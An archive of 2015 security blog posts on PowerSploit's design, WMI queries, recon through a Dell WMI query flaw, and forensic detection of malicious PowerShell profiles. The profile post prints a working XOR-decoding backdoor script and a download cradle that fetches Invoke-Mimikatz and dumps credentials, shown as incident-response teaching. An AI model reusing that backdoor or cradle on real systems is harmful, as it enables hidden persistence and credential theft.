Tuesday, December 22, 2015

The PowerSploit Manifesto

It’s been a long journey and after so many years of learning PowerShell, starting to learn better software engineering disciplines, developing a large open source, offensive PowerShell project, using it in the field, and observing how others use it in the field, I feel compelled to provide a clearer vision for the direction in which I’d like to see PowerSploit go. Before I delve into what my vision is and the rationale for the vision, let’s get some perspective on some things.

The PowerShell Capabilities Matrix

I think the offensive usage of PowerShell can be bucketed into the following, non-mutually exclusive categories:

  1. You primarily use the benefits of PowerShell (e.g. facilitation of memory residence) to supplement a mostly non-PowerShell workflow. In other words, your workflow consists primarily of leveraging an existing framework like Metasploit, Empire, Cobalt Strike, etc. to seamlessly build and deliver payloads, irrespective of the language used to implement the payload.
  2. You recognize the value of PowerShell for conducting many phases of an operation in a Windows environment. You're not a tool developer but you need to be able to have a large offensive library to choose from that can be tailored to your engagement.
  3. You are a capable PowerShell tool developer and operator where modularity of the toolset is crucial because your operations are extremely tailored to a specific environment where stealth and operational effectiveness is crucial.

Mattifestation Goal #1: To build a library of capabilities catered to #3 that can ultimately trickle down to #1.

Operational Requirements and Design Challenges

Consider the following requirement from your Director of Offensive Operations:

Objective: We need the ability to capture the credentials of a target and not get caught doing so.

Let’s pretend that such a capability doesn’t exist yet. Two things were explicitly asked of us: 1) Capture target credentials and 2) don’t get caught.

The operations team leads get together and brainstorm how to achieve the director’s relatively vague objective. Each team lead knows that they all have unique operational constraints depending on the target so they come up with the following requirements for the developers:

  1. Mimikatz has proved to be an extremely effective tool for capturing credentials but we worry about it getting flagged by AV so we need you to load it in memory.
  2. Depending on the firewall restrictions and listening services on a target, multiple comms protocols will be required to both deploy and get Mimikatz results back to the operator. We need to be prepared with what the target will throw us.
  3. Because we’ll be dealing with sensitive data, we need to encrypt the Mimikatz results.
The developer, being a huge PowerShell fanboy has convinced the director and ops leads that it can accomplish every one of these achieved goals, all while keeping everything memory resident.

So the developer now has some basic requirements necessary to knock out the objectives of the ops team leads and director. The decision then becomes, how to package all of the implemented capabilities?

The developer could develop a “one size fits all” solution that encompasses all of the requirements into a single function – let’s call it Get-AllTheCreds. Such a tool would be great. It would give the operators everything they need in a simple, already pre-weaponized package. Problem solved. They now have an effective credential harvesting capability that works over multiple protocols. Everyone is happy. That is, until the director dictates a new requirement: we need the ability to steal files from a target without getting caught…

After a while, as the requirements grow, the developers quickly learn that development of the “one size fits all” solutions that their operators have loved isn’t going to scale. Instead, the developer proposes writing the following tools that can be stitched together as the ops lead sees fit:

Payload delivery
Invoke-Command - for WinRM payload deployment
Invoke-WmiCommand - for WMI payload deployment

Optional communications functionality
Send-TCPData
Send-UDPData
Send-ICMPData
Send-DropboxData
Receive-TCPData
Receive-UDPData
Receive-ICMPData
Receive-DropboxData

In-memory PE loader used to load Mimikatz or any other PE
Invoke-ReflectivePEInjection

Data encryption
Out-EncryptedText

This approach scales really well as it allows a developer to create and test each unit of functionality independently resulting in more modular and more reliable code. It also enables the operator to leverage only the minimal amount of functionality needed to carry out a targeted operation. At the same time though it places an additional burden upon the operator is that they will be required to decide which functions to include in their weaponized payload.

Mattifestation Goal #2: As one of the core developers of PowerSploit, I don't want to be in the game of deciding how people use PowerShell to carry out their operations. Rather, I want to be in the game of providing an arsenal of capabilities to the decision maker.

This decision has led to some discontent amongst those who want a fully pre-weaponized product and understandably so. Up until this point, the tools in PowerSploit haven’t had any dependencies. The problem as a developer is that this doesn’t scale if PowerSploit is to grow and it leaves the developer of the capabilities inferring what the “one size fits all” solution might be.

The Good ol’ Days...

Mattifestation Goal #3: Do your best to not alienate your existing user base and don't force them to resolve complicated dependencies.

Goal #3 is where the challenge lies in trying to cater to everyone. I want to modularize everything in PowerSploit but then that would leave many frustrated trying to ensure that they have all the dependencies they need. So what @harmj0y and I propose is the following:

  1. Modularize everything in PowerSploit. As in, make it a proper PowerShell module. Those who use it as a module won't have any dependencies to worry about because PowerShell modules are designed to resolve all dependencies. Modules are a beautiful thing in PowerShell for those who aren’t aware. They just aren’t feasible for in-memory weaponization.
  2. Most people in the business of using offensive PowerShell won’t use PowerSploit as a module on their target. For frameworks like Empire, Cobalt Strike, etc. that offer PowerShell weaponization, they will need a way to resolve and merge dependencies prior to payload deployment. For functions that require dependencies, we will include a machine-parsable list of required dependencies. These won’t be external dependencies but merely just a list of PowerSploit functions required by another PowerSploit function. We have made the decision that we will never require any dependencies not present in PowerSploit.
  3. People will likely want to use PowerSploit functions outside of a formal framework so for those people, we will provide dependency resolution scripts written in both PowerShell (e.g. Get-WeaponizedPayload) and Python that perform the tasks that follow. Providing this capability, while adding a mandatory step for users will solve the dependency issue and it will ensure that a script is produced that includes only the required functionality.
    1. Take a list of PowerSploit functions and generate a script that includes all of them with their required dependencies merged
    2. Generate a script that includes all functions and merged dependencies from a specified submodule – e.g. the Recon submodule which includes PowerView
    3. Takes a script or scriptblock as input, parses it and prepends any dependencies to a resulting output script
  4. We’re still debating how this solution would scale but the idea would be to also include a “release build” that would include all of the resolved dependencies for many of the most popular PowerSploit functions/submodules. An example of how this doesn’t scale well is in PowerView. PowerView relies upon the PSReflect library for calling Win32 API functions. PSReflect is a fairly sizeable chunk of code so would you want to include it every single PowerView function? That would result in unnecessary bloat. So you could prepend the PSReflect lib to all of the PowerView functions but then you get everything together as one large package and what if you only want to deploy a couple PowerView functions? This is just one of several reasons why I don’t think this option would scale but perhaps we could use this to throw a bone to those content with “the way things were” for a period of time.
The Future

We intend to incorporate these changes in the next major release of PowerSploit. By incorporating these proposed changes, what you'll see is a large increase in the code base and hopefully reduced dwell time in acceptance of new pull requests and issue handling. For example, I was reluctant to accept any new wrappers for Invoke-ReflectivePEInjection due to duplicate code being sprayed all over the place. Also, this more modular design paradigm will allow PowerSploit developers to focus on developing unique comms functionality independent of other capabilities. By moving forward with these changes, I can say that I will personally remain dedicated to moving PowerSploit forward and I hope that my enthusiasm will rub off on those wanting to contribute, weaponize these capabilities, and those just wanting to up excel their tradecraft. Lastly, you'll begin to hear me make more of a concerted effort to brand PowerSploit as an "offensive capabilities library" versus a framework. Nor should PowerSploit be considered a "pentest tool." Metasploit and Cobalt Strike are frameworks that weaponize and deploy payloads irrespective of the language used on the target. PowerSploit is a language-specific library that aims to empower the operator who has warmly welcomed PowerShell into their methodology.

As a final thought and plea, it is my expectation and hope that all pentesters and red teamers learn PowerShell. It is a required skill for so many reasons, many of which I’ve outlined here. Stop putting it off! Do effective pentesters and red teamers in a Linux environment get away without knowing simple bash scripting and command-line usage? No! So the next time you’re in a situation with some hacker buddies where you have hands on a machine and want to impress, are you going to choose the black screen or the blue screen???

Friday, December 18, 2015

Offensive Tool Design and the Weaponization Dilemma

With the impending reboot of PowerSploit, partly commissioned by my new employer (Veris Group - Adaptive Threat Division), I’ve been writing a lot of new PowerShell code and refactoring some old code all while attempting to apply more formal software development practices – behavior driven development with Pester being a major example. Now, just to make things clear, I am not a formally trained software engineer. I’ve worked with some very bright ones however, and they instilled in me many formal development principles. PowerSploit has come a long way from its humble beginning as a horribly written shellcode runner to where it is now – still leaving much to be desired, in my opinion. Regardless, as with all code you’ve written, you look back at your old code and become disgusted with your former self.

As PowerSploit has grown and matured ever so slowly, I began to formalize how I thought offensive PowerShell code should be written – in other words, being mindful of the ease of weaponization and ease of use for the end-user pentester or red teamer. For example, I’ve asked the following of those wanting to commit new code to PowerSploit:

  1. Code should be designed to be modular: i.e. functionality should be encapsulated in the form of a function, not a script. Scripts are designed to be executed from disk – something we want to avoid as attackers.
  2. I strongly emphasized that code should be self-contained: i.e. weaponized code should not be in the business of resolving dependencies. This makes sense to a point. If you’re going to execute a PowerShell payload from a simple download cradle, what you download needs to contain the entire payload that you want to execute. As a result, most code in PowerSploit is categorized appropriately and grouped logically into single psm1 files that can be easily staged via a download cradle.

Recently, I’ve been a little harder on myself wanting to simplify code and what has resulted is what I think warrants a discussion on the trade-offs of software design and weaponization. As a perfect example, I removed Metasploit payload support from Invoke-Shellcode. Why? Because I think a function should do one thing and do it well. People have used Invoke-Shellcode extensively with the built-in Metasploit support and I know some will be upset. Here was my rationale in making that decision:

  1. I only supported 32-bit HTTP and HTTPS meterpreter stagers. Metasploit contains so many more payloads that I could have supported but then I would have had to maintain all of them. I don’t want that job.
  2. The Metasploit support was simple in practice. I simply downloaded the staged payload and executed the shellcode as a byte array. But my question was: why should Invoke-Shellcode be downloading anything? Shouldn’t it just execute shellcode? After all, Invoke-WebRequest is built-in to PowerShell and it’s proxy aware! Also, there’s a million different mechanisms by which you might want to obtain a shellcode payload – DNS TXT records, UDP, etc.
  3. Metasploit payloads can easily be generated with msfvenom.

Another design consideration involves code like Invoke-Mimikatz. Invoke-Mimikatz, loved by many, is a glorified wrapper around Invoke-ReflectivePEInjection – an amazing in-memory PE loader. There are several functions in PowerSploit that utilize Invoke-ReflectivePEInjection and it’s a huge maintenance headache when updates need to be made to Invoke-ReflectivePEInjection because there are at least three other functions that embed Invoke-ReflectivePEInjection that need to be updated too.

So here’s my personal pitch: I would advocate that all functions serve one single purpose and serve that single purpose well and that dependencies should be maintained separately. For example, rather than embedding Invoke-ReflectivePEInjection in InvokeMimkatz, it should call Invoke-ReflectivePEInjection and annotate Invoke-ReflectivePEInjection as a dependency (a practice I’ve implemented for a long time). Naturally, the problem with that approach would result in a more concerted weaponization effort. A red team operator would need to make sure that all dependencies were included in their intended payload – a potential operational headache. Empire modules can easily resolve these dependencies though by automatically declaring and combining dependencies which would be completely transparent to an operator. So Empire is a great example of weaponization done right all while enabling a developer like myself to separate out and simplify the logic in my attack tools.

So in my mind, the debate comes down to the following two arguments:

  1. Modularize everything. A function/cmdlet should do one thing and do it well. Dependency resolution would then be a requirement for weaponization.
  2. Package everything together so that users can immediately start using your offensive toolset without having to worry about stitching together an arbitrary list of dependencies.

As one of the primary devs of PowerSploit, I make the argument for #1 for the following reasons:

  1. Make my life easier, people! :P
  2. I feel that operators should have the flexibility of mixing and matching the functionality (or weaving a tapestry of evil, if you will ;) ) that they want to use. This does require more extensive knowledge of the language they’re using though – in this case, PowerShell.
  3. It makes code easier to maintain and easier for external contributions.
  4. Regarding PowerSploit specifically, my vision for it is that it should be a suite of tools to enable operators to pick, choose, and deploy the functionality they want. I prefer that PowerSploit not focus on weaponization because you have mature platforms like Empire and Cobalt Strike that already aim to solve that problem.

All that said, I hope I can open up a good dialog on the virtues of offensive software development and weaponization. Obviously, such a topic doesn’t apply to just PowerShell so I’d love to hear the opinions of those coping with my same struggles.

Friday, December 4, 2015

WMI object correlation using ASSOCIATORS OF

tl;dr

While this post isn’t directly related to infosec, infosec pros who work with WMI should take note as there are some powerful queries that could be performed for both offense and defense. The point of this post is to shed some light on ASSOCIATORS OF and show how powerful connections can be made between related WMI objects.


Until recently, I found the ASSOCIATORS OF WMI query language statement to be very confusing. I understood it in theory – it links one “associated” WMI object with another. A lot of articles on the subject will use the following canonical example showing related objects to a Win32_LogicalDisk instance where its DeviceID is “C:”:

ASSOCIATORS OF {Win32_LogicalDisk.DeviceID="C:"}

This query returns an instance of a Win32_Directory, Win32_ComputerSystem, and Win32_DiskPartition. Okay. That’s great and all but where did you come up with the DeviceID property as a requirement and how can I know what classes might be associated with Win32_LogicalDisk? It’s those questions that I feel existing articles never commented on. That said, allow me to explain.

Let’s say I’m interested in finding WMI classes that might be related (i.e. associators of) to CIM_DataFile. For example, one attribute that I find lacking in CIM_DataFile is file ownership and ACL information. Let’s see if we can maybe obtain that information. First, I’ll get a CIM_DataFile instance of a file I’m interested in – C:\foo.txt

PS C:\> Get-WmiObject CIM_DataFile -Filter 'Name="C:\\foo.txt"' | Format-List *


PSComputerName        : TESTPC
Status                : OK
Name                  : c:\foo.txt
__GENUS               : 2
__CLASS               : CIM_DataFile
__SUPERCLASS          : CIM_LogicalFile
__DYNASTY             : CIM_ManagedSystemElement
__RELPATH             : CIM_DataFile.Name="c:\\foo.txt"
__PROPERTY_COUNT      : 33
__DERIVATION          : {CIM_LogicalFile, CIM_LogicalElement,
                        CIM_ManagedSystemElement}
__SERVER              : TESTPC
__NAMESPACE           : root\cimv2
__PATH                : \\TESTPC\root\cimv2:CIM_DataFile.Name="c:\\foo
                        .txt"
AccessMask            : 1179817
Archive               : True
Caption               : c:\foo.txt
Compressed            : False
CompressionMethod     :
CreationClassName     : CIM_LogicalFile
CreationDate          : 20151204080026.605819-480
CSCreationClassName   : Win32_ComputerSystem
CSName                : TESTPC
Description           : c:\foo.txt
Drive                 : c:
EightDotThreeFileName : c:\foo.txt
Encrypted             : False
EncryptionMethod      :
Extension             : txt
FileName              : foo
FileSize              : 13
FileType              : Text Document
FSCreationClassName   : Win32_FileSystem
FSName                : NTFS
Hidden                : False
InstallDate           : 20151204080026.605819-480
InUseCount            :
LastAccessed          : 20151204080026.749820-480
LastModified          : 20151204080026.751820-480
Manufacturer          :
Path                  : \
Readable              : True
System                : False
Version               :
Writeable             : True
Scope                 : System.Management.ManagementScope
Options               : System.Management.ObjectGetOptions
ClassPath             : \\TESTPC\root\cimv2:CIM_DataFile
Properties            : {AccessMask, Archive, Caption, Compressed...}
SystemProperties      : {__GENUS, __CLASS, __SUPERCLASS, __DYNASTY...}
Qualifiers            : {dynamic, Locale, provider, UUID}
Site                  :
Container             :


You can quickly determine which property to use as a “key” in an ASSOCIATORS OF query by looking at the __RELPATH property which is showing the Name property as our key.

So now I want to know what classes are associated with my CIM_DataFile instance. The following query will return class definitions instead of the associated object instances:

PS C:\> Get-WmiObject -Query 'ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE ClassDefsOnly'


   NameSpace: ROOT\cimv2

Name                                Methods              Properties           
----                                -------              ----------           
Win32_Directory                     {TakeOwnerShip, C... {AccessMask, Archiv...
Win32_LogicalFileSecuritySetting    {GetSecurityDescr... {Caption, ControlFl...

So we now know that there are two classes associated with Cim_DataFile – Win32_Directory and Win32_LogicalFileSecuritySetting. If you look at the MSDN documentation for Win32_LogicalFileSecuritySetting, you’ll see that its GetSecurityDescriptor method will return the ACL for the file. Great!

I can now run the following query and get the associated Win32_Directory and Win32_LogicalFileSecuritySetting class instances:

ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"}

But let’s say I’m only interested in returning instances of type Win32_LogicalFileSecuritySetting? The following query will get the job done:

ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE AssocClass=Win32_SecuritySettingOfLogicalFile

So you may now be wondering, “Where did Win32_SecuritySettingOfLogicalFile come from???”

In order to constrain an association query to a particular type of class instance, you must specify the association class that links the two classes together. You can get the association class by using the REFERENCES OF statement:

PS C:\> Get-WmiObject -Query 'REFERENCES OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE ClassDefsOnly'


   NameSpace: ROOT\cimv2

Name                                Methods              Properties           
----                                -------              ----------           
CIM_DirectoryContainsFile           {}                   {GroupComponent, Pa...
Win32_SecuritySettingOfLogicalFile  {}                   {Element, Setting}   


So now you can see where the association class came from.

Finally, let’s tie everything together and retrieve the following info from foo.txt – file owner, full path, file size, and MAC times.

$CimDataFile = Get-WmiObject CIM_DataFile -Filter 'Name="C:\\foo.txt"'

$FileSecuritySetting = Get-WmiObject -Query "ASSOCIATORS OF {CIM_DataFile.Name=`"$($CimDataFile.Name.Replace('\','\\'))`"} WHERE AssocClass=Win32_SecuritySettingOfLogicalFile"

$FileACL = $FileSecuritySetting.GetSecurityDescriptor().Descriptor

$FileOwner = "{0}\{1}" -f $FileACL.Owner.Domain, $FileACL.Owner.Name

$Modified = [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.LastModified)
$Accessed = [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.LastAccessed)
$Created =  [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.CreationDate)

$DocProperties = [Ordered] @{
    FileOwner = $FileOwner
    FullPath = $CimDataFile.Name
    FileSize = $CimDataFile.FileSize
    Modified = $Modified
    Accessed = $Accessed
    Created = $Created
}

New-Object PSObject -Property $DocProperties

FileOwner : BUILTIN\Administrators
FullPath  : c:\foo.txt
FileSize  : 13
Modified  : 12/4/2015 8:00:26 AM
Accessed  : 12/4/2015 8:00:26 AM
Created   : 12/4/2015 8:00:26 AM

So I hope that helps explain things a little bit better with regard to ASSOCIATORS OF. Personally, after figuring out what I did, I was still left wondering, “How could I enumerate all association classes and list out the classes they link?” After poking around with the WMI schema a bit, I came up with the following quick and dirty PSv3 script to do just that:

function Get-AssociatedClassRelationship {
    param (
        [String]
        $Namespace = 'root/cimv2'
    )

    Get-CimClass -Namespace $Namespace | ? { $_.CimClassQualifiers['Association'] -and (-not $_.CimClassQualifiers['Abstract']) } | % {
        $KeyQualifiers = @($_.CimClassProperties | ? { $_.Qualifiers['key'] })

        if ($KeyQualifiers.Count -eq 2) {
            $Properties = [Ordered] @{
                AssociationClassName = $_.CimClassName
                LinkedClassName1 = $KeyQualifiers[0].ReferenceClassName
                LinkedClassName2 = $KeyQualifiers[1].ReferenceClassName
            }

            New-Object PSObject -Property $Properties
        }
    }
}

So now, hopefully you’re armed with just enough information to begin forming association queries as well as discovering which associations exist!

Wednesday, December 2, 2015

Thoughts on Exploiting a Remote WMI Query Vulnerability

On December 1, 2015, a really interesting vulnerability was disclosed in the Dell Foundation Services software. If installed, a SOAP service will listen on port 7779 and grant an attacker the ability to execute unauthenticated WMI queries. I can’t say I’ve ever encountered such a vulnerability class so this posed an interesting thought exercise into how an attacker might effectively exploit such a vulnerability beyond just using the queries to conduct host recon. Specifically, this vulnerability only allows an attacker to query WMI object instances within the default namespace – ROOT/CIMv2. This means that you cannot invoke WMI methods or perform event registration - i.e. this is not a remote code execution vulnerability.

I released a PoC PowerShell exploit that allows you to easily view and parse WMI query output from a vulnerable host. The script could be used to test the exploit locally assuming you have a Dell computer to test on. The vulnerable software can be obtained from Dell. Specifically, the vulnerable function is contained within Dell.Tribbles.Agent.Plugins.SystemInfo.dll.

So what kinds of things could an attacker do that would give them the greatest bang for their buck? For starters, let’s say you wanted to list all available classes within the ROOT/CIMv2 namespace as a means of determining the attack surface?

PS C:\> Get-DellFoundationServicesWmiObject -IPAddress 127.0.0.1 -Query 'SELECT * FROM Meta_Class'

What you will find is that there is a sea of WMI classes. We’ll need to find the diamonds in the rough. Here is an extremely non-comprehensive list of what I came up with in conjunction with Sean Metcalf and Carlos Perez:

File listing for a specific directory. e.g. C:\ or search by extension
SELECT * FROM CIM_DataFile WHERE Drive="C:" AND Path="\\"
SELECT * FROM CIM_DataFile WHERE Extension="xlsx"

Process listing (including command-line invocation which could possibly include credentials)
SELECT * FROM Win32_Process

List all services
SELECT * FROM Win32_Service

Account/group enumeration
SELECT * FROM Win32_Account
SELECT * FROM Win32_UserAccount
SELECT * FROM Win32_Group
SELECT * FROM Win32_LoggedOnUser

List startup programs present in the
 registry and Start Menu
SELECT * FROM Win32_StartupCommand

OS/Hardware info
SELECT * FROM Win32_BIOS
SELECT * FROM Win32_ComputerSystem # Uptime, logged-in user, etc.
SELECT * FROM Win32_OperatingSystem

Hard disk enumeration
SELECT * FROM Win32_DiskDrive
SELECT * FROM Win32_DiskPartition
SELECT * FROM Win32_LogicalDisk
SELECT * FROM Win32_Volume
SELECT * FROM Win32_MountPoint

List system environment variables
SELECT * FROM Win32_Environment

List network devices and configurations
SELECT * FROM Win32_NetworkAdapter
SELECT * FROM Win32_NetworkAdapterConfiguration # Shows assigned IPs

List mapped shares
SELECT * FROM Win32_Share

Obviously, there are a ton of classes that I may be missing that you may find to be useful but these were the ones that stood out to me. Now, beyond performing simple recon actions, what other WMI queries might be impactful, enable leaks of extremely sensitive information, enable further exploitation, or cause system instability? Here are some queries I came up with:

Ping sweep. This could be used to conduct basic internal scanning.
SELECT * FROM Win32_PingStatus WHERE Address="10.10.0.1"

SELECT * FROM Win32_Product

List installed patches. i.e. Determine which patches are not installed.
SELECT * FROM Win32_QuickFixEngineering

Dump event logs. e.g. dump System log. This is the most sensitive info leak I can think of.
SELECT * FROM Win32_NtLogEvent WHERE Logfile="System"


If you can think of any additional classes that would go above and beyond host recon, please let me know on Twitter!

Saturday, November 14, 2015

Investigating Subversive PowerShell Profiles

With PowerShell attacks on the rise, it is important that incident responders be aware of exactly how PowerShell code is executed on a victim system. Once such aspect of code execution is the PowerShell profile - a script that executes upon loading powershell.exe or powershell_ise.exe. This is a place where an attacker could possibly insert subversive code that executes every time PowerShell is started. Consider the following hypothetical scenario:

You're investigating an organization who was smart and has command-line auditing enabled on all hosts. They captured the following suspected malicious invocation of powershell.exe:

powershell.exe -WindowStyle Hidden -EncodedCommand GTAqRW04DBt9OhAPIBUdTB4QBksSEwsvPBwXCzFfRyg/AhwJKhcNPyQHGwsiXk4EJAECFn9ZRh4xAlwCLAIBGTIAAQA3FQYCJBAcEWsVBgF/JR0SIAQ6BDUZHigkEAANfyUdEiAEOhw8GhsRahsIHyQQAEoADg8FPAEABDEfBgJ/PBwTKh0MQR0cHwwuFx0WfgUBVGJfUiU+Ax0OIFskBT0cGQQxDElBFAAfFQYEDAgjVQ5FCgMdQRYcHgBlVE1EdDAcE38iLCEAXC4KMAIZGSRbBh0xVA==

The PowerShell expert you are knows that base64 encoded commands provided via the –EncodedCommand parameter are Unicode encoded strings. You run the following PowerShell code to decode the command and to your surprise, find that the provided command decodes to an unintelligible string.

$EncodedCommand = 'GTAqRW04DBt9OhAPIBUdTB4QBksSEwsvPBwXCzFfRyg/AhwJKhcNPyQHGwsiXk4EJAECFn9ZRh4xAlwCLAIBGTIAAQA3FQYCJBAcEWsVBgF/JR0SIAQ6BDUZHigkEAANfyUdEiAEOhw8GhsRahsIHyQQAEoADg8FPAEABDEfBgJ/PBwTKh0MQR0cHwwuFx0WfgUBVGJfUiU+Ax0OIFskBT0cGQQxDElBFAAfFQYEDAgjVQ5FCgMdQRYcHgBlVE1EdDAcE38iLCEAXC4KMAIZGSRbBh0xVA=='
$CommandBytes = [Convert]::FromBase64String($EncodedCommand)
$DecodedCommand = [Text.Encoding]::Unicode.GetString($CommandBytes)
# This will decode to an unintelligible string
$DecodedCommand

Well, time to wrap up this part of the investigation. This couldn't possibly execute. Clearly the attacker doesn’t know how to properly encode their malicious PowerShell command, right??? Or... could the attacker be hiding something we don’t know? Can PowerShell execute anything beyond what was provided at the command line? Absolutely – a profile script!

If PowerShell is not invoked with the –NoProfile switch, it will execute profile scripts in the following order:

1) AllUsersAllHosts
2) AllUsersCurrentHost
3) CurrentUserAllHosts
4) CurrentUserCurrentHost

Depending upon how PowerShell was started – normal invocation, WoW64, Integrated Scripting Environment (ISE), profile scripts can be loaded from any of the following locations:

AllUsersAllHosts
%windir%\System32\WindowsPowerShell\v1.0\profile.ps1
AllUsersAllHosts (WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\profile.ps1
AllUsersCurrentHost
%windir%\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
AllUsersCurrentHost (ISE)
%windir%\System32\WindowsPowerShell\v1.0\Microsoft.PowerShellISE_profile.ps1
AllUsersCurrentHost (WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
AllUsersCurrentHost (ISE - WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\Microsoft.PowerShellISE_profile.ps1
CurrentUserAllHosts
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\profile.ps1
CurrentUserCurrentHost
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
CurrentUserCurrentHost (ISE)
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1

Now knowing this, you search the hard drive image for the existence of any of those files and find the following PowerShell code in %windir%\System32\WindowsPowerShell\v1.0\profile.ps1:

$CommandLine = (Get-WmiObject Win32_Process -Filter "ProcessID = $PID").CommandLine

$Base64PayloadRegex = '-(?i:enc).* (?<EncodedPayload>([A-Za-z0-9\+/])+={0,2})'

if ($CommandLine -match $Base64PayloadRegex) {
    $EncodedPayload = $Matches['EncodedPayload']

    $EncodedPayloadBytes = [Convert]::FromBase64String($EncodedPayload)

    $XorKey = 'PureEvil'
    $KeyBytes = [Text.Encoding]::ASCII.GetBytes($XorKey)

    $DecodedBytes = New-Object Byte[]($EncodedPayloadBytes.Length)

    for ($i = 0; $i -lt $EncodedPayloadBytes.Length; $i++) {
        $DecodedBytes[$i] = $EncodedPayloadBytes[$i] -bxor ($KeyBytes[($i % $KeyBytes.Length)])
    }

    $DecodedPayload = [Text.Encoding]::ASCII.GetString($DecodedBytes)

    Invoke-Expression -Command $DecodedPayload
}

Uh oh. It looks as if the attacker was relying upon an investigator overlooking the PowerShell profile. This code takes the base64 encoded argument, XOR decodes it, then executes it. Therefore, the encoded command provided at the command line indeed would have executed and it would have decoded to the following:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds | Out-File "$($Env:TEMP)\output.txt"

The moral of the story: when investigating PowerShell attacks, be sure to pull all profile scripts from an infected system.

Thanks to Oisin Grehen (@oising) for pointing me to where I could obtain the command line input of the currently running PowerShell process!

References:
1) Understanding the Six PowerShell Profiles
2) Windows PowerShell Profiles